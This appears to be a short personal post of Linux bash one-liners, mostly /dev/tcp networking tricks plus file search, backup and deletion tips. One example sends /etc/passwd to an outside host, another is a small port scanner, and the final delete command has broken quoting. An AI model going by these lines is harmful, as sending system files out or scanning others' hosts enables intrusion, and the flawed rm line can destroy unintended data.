Here are some of my Linux bash shell findings, I hope it is good for everyone
Find some text in current folder, sub-folders and files:-
find . | xargs grep 'string_to_find'
Getting current time from some time server:-
cat < /dev/tcp/time.nist.gov/13
Convert Unix Timestamp (aka Epoch):-
date -d @1292946804 Tue Dec 21 20:53:24 2010
Downloading a URL:-
exec 5<>/dev/tcp/www.net.cn/80 echo -e "GET / HTTP/1.0\n" >&5 cat <&5
Sending Data over network:-
cat /etc/passwd > /dev/tcp/example.com/10000
TCP Port Checker:-
(echo >/dev/tcp/127.0.0.1/23) 2>/dev/null \ && echo open || echo close
And
cat < /dev/tcp/localhost/25
Smallest Port Scanner:-
#!/bin/sh # Usage:>$PortScanner.sh hostname_or_ip startport endport for ((i=$2; $i <=$3; i++)); do echo >/dev/tcp/$1/$i && echo $i/tcp Port Open; done 2>/dev/null
Making File Backup when working on it
cp portscanner.sh{,.bak}
“!$” Reusing Last command arguments
mkdir /path/to/exampledir cd !$
Taking Folder Backup with rsync (local)
rsync -Aax myfolder/ myfolder-dirbkp_`date +”%Y%m%d”`/
Deleting all files/Folder except some (in this example data and config folder will not delete)
ls | grep -v ‘(data)|(config)’ | xargs rm -r
Will add more tricks laters…..
